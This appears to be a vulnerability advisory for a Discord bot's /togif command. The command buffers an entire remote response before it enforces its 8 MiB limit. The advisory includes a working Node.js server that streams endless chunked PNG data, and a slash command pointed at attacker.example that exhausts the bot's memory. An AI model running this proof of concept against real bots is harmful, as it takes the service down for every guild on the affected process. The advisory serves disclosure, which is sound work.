Summary

The /togif command downloads an attacker-controlled HTTPS response into memory before enforcing its 8 MiB limit. A normal Discord user can provide a chunked image response without a Content-Length header, causing the bot’s memory usage to grow until the process becomes unavailable.

Details

The URL is supplied by the user in apps/bot/src/commands/utility/fun/toGif.ts:29 and passed to safeFetch() at line 35.

The command trusts Content-Length for its initial size check:

// apps/bot/src/commands/utility/fun/toGif.ts:57-65
const contentLength = response.headers.get('content-length');
if (contentLength && parseInt(contentLength, 10) > MAX_SIZE) {
    // reject
}

const arrayBuffer = await response.arrayBuffer();

When the server omits Content-Length, response.arrayBuffer() buffers the complete response. The real size check occurs only afterward at toGif.ts:66-70, after the memory has already been allocated.

safeFetch() returns the remote response as an unrestricted stream in apps/bot/src/lib/safeFetch.ts:39-49 and safeFetch.ts:76-98. It does not enforce a maximum number of response bytes.

The devMode precondition does not normally restrict the command. apps/bot/src/preconditions/devMode.ts:25-30 permits every user unless the optional DEV=true setting is enabled.

PoC

Run the following server on an attacker-controlled public HTTPS host:

import https from "node:https";
import fs from "node:fs";

const chunk = Buffer.alloc(1024 * 1024);
Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]).copy(chunk);

https.createServer(
  {
    key: fs.readFileSync("./key.pem"),
    cert: fs.readFileSync("./cert.pem"),
  },
  (_req, res) => {
    res.writeHead(200, {
      "Content-Type": "image/png",
    });

    const timer = setInterval(() => res.write(chunk), 250);
    res.on("close", () => clearInterval(timer));
  },
).listen(443);

Invoke the command as an ordinary Discord user:

/togif url:https://attacker.example/stream

Monitor the bot process:

watch -n 0.5 'ps -o pid,rss,cmd -C node'

Impact

An ordinary Discord user can remotely exhaust the memory of the bot process. This interrupts all bot functionality for every guild served by the affected process or shard.